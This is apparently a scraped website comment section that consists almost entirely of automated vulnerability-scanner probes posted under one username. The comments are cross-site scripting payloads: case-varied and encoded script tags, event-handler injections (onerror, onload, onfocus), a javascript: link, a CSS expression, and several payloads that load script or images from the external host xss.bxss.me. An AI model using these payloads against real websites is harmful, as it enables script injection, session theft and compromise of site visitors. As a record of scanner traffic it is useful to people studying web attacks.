ooJpiued 1 мес

«dfbzzzzzzzzbbbccccdddeeexca».replace(«z»,«o»)

ooJpiued 1 мес

1<ScRiPt >p3CF(9351)</ScRiPt>

ooJpiued 1 мес

1<W7A3NN>GIPC9[!+!]</W7A3NN>

ooJpiued 1 мес

1<script>p3CF(9753)</script>

ooJpiued 1 мес

1<script>p3CF(9281)</script>9281

ooJpiued 1 мес

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%70%33%43%46%28%39%37%34%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

ooJpiued 1 мес

1<ScRiPt

p3CF(9751)</ScRiPt>

ooJpiued 1 мес

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9985></ScRiPt>

ooJpiued 1 мес

1<ScRiPt

p3CF(9391)</ScRiPt>

ooJpiued 1 мес

1<isindex type=image src=1 onerror=p3CF(9579)>

ooJpiued 1 мес

1<iframe src=’data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=’ invalid=’9004’>

ooJpiued 1 мес

1<body onload=p3CF(9650)>

ooJpiued 1 мес

1<img src=//xss.bxss.me/t/dot.gif onload=p3CF(9343)>

ooJpiued 1 мес

1<img src=xyz OnErRor=p3CF(9976)>

ooJpiued 1 мес

1<img/src=«>» onerror=alert(9883)>

ooJpiued 1 мес

%31%3C%53%63%52%69%50%74%20%3E%70%33%43%46%289439%29%3C%2F%73%43%72%69%70%54%3E

ooJpiued 1 мес

1\u003CScRiPt\p3CF(9199)\u003C/sCripT\u003E

ooJpiued 1 мес

1<ScRiPt>p3CF(9876)</sCripT>

ooJpiued 1 мес

1<input autofocus onfocus=p3CF(9138)>

ooJpiued 1 мес
ooJpiued 1 мес

<a HrEF=jaVaScRiPT:>

ooJpiued 1 мес

1}body{zzz:Expre/**/SSion(p3CF(9277))}

ooJpiued 1 мес

1bY6S8
<ScRiPt >p3CF(9972)</ScRiPt>

ooJpiued 1 мес

1<W2SCR4>3KZLJ[!+!]</W2SCR4>

ooJpiued 1 мес

1<ifRAme sRc=9617.com></IfRamE>

ooJpiued 1 мес

1<ayUNyZx x=9898>

ooJpiued 1 мес
ooJpiued 1 мес

1<aerAsxB<